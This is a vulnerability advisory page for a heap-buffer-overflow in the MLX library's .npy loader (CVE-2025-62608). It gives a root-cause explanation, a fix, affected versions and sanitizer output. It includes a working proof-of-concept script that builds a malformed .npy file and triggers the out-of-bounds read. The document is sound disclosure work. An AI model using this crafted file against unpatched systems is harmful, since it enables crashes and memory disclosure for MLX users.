Medium
MLX has heap-buffer-overflow in load()
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment:
- OS: Ubuntu 20.04.6 LTS
- Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
cpp
std::string header(&buffer[0]); // stops at first null byteBug #2 (line 276):
cpp
bool col_contiguous = header[34] == 'T'; // No bounds checkPossible Fix
cpp
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");PoC
bash
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
#6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3179==ABORTINGImpact
- Attack vector: Malicious
.npyfile (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
- Result: Application crash + potential 13-byte heap leak
Credits:
- Markiyan Melnyk (ARIMLABS)
- Mykyta Mudryi (ARIMLABS)
- Markiyan Chaklosh (ARIMLABS)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | mlx | < 0.29.4 | 0.29.4 |
References
- https://github.com/ml-explore/mlx/pull/1
- https://github.com/ml-explore/mlx/pull/2
- https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6
- https://nvd.nist.gov/vuln/detail/CVE-2025-62608
- https://github.com/ml-explore/mlx
- https://github.com/pypa/advisory-database/tree/main/vulns/mlx/PYSEC-2025-138.yaml
CVSS score
-
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-122- Platform
- Python (PyPI)
- Package
mlx- Disclosed
- 21.11.2025
- Updated
- 11.10.2026 12:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2025-138 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-w6vg-jg77-2qg6 - CC BY 4.0
Vulnerability history: mlx
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 11.2025 11.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 2
Disclosures per year
- 2025: 2
- 2026: 0
-
MLX has heap-buffer-overflow in load() this entry
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